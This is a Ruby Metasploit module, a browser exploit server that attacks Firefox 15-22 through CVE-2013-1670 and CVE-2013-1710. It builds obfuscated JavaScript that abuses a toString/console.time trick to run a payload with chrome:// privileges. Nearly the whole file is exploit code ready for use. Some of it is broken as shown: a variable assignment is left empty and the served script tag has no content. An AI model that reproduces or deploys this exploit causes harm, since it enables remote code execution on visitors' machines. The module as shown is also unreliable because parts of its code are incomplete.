require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "15.0",
:ua_maxver => "22.0",
:javascript => true,
:rank => ExcellentRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox toString console.time Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 15-22 by abusing two separate
Javascript-related vulnerabilities to ultimately inject malicious Javascript code
into a context running with chrome:// privileges.
},
'License' => MSF_LICENSE,
'Author' => [
'moz_bug_r_a4',
'Cody Crews',
'joev'
],
'DisclosureDate' => "May 14 2013",
'References' => [
['CVE', '2013-1670'],
['CVE', '2013-1710']
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload }
js = Rex::Exploitation::JSObfu.new(%Q|
var opts =
var key = opts['#{key}'];
var y = {}, q = false;
y.constructor.prototype.toString=function() {
if (q) return;
q = true;
crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
return 5;
};
console.time(y);
|)
js.obfuscate
%Q|
<!doctype html>
<html>
<body>
<script>
</script>
</body>
</html>
|
end
end
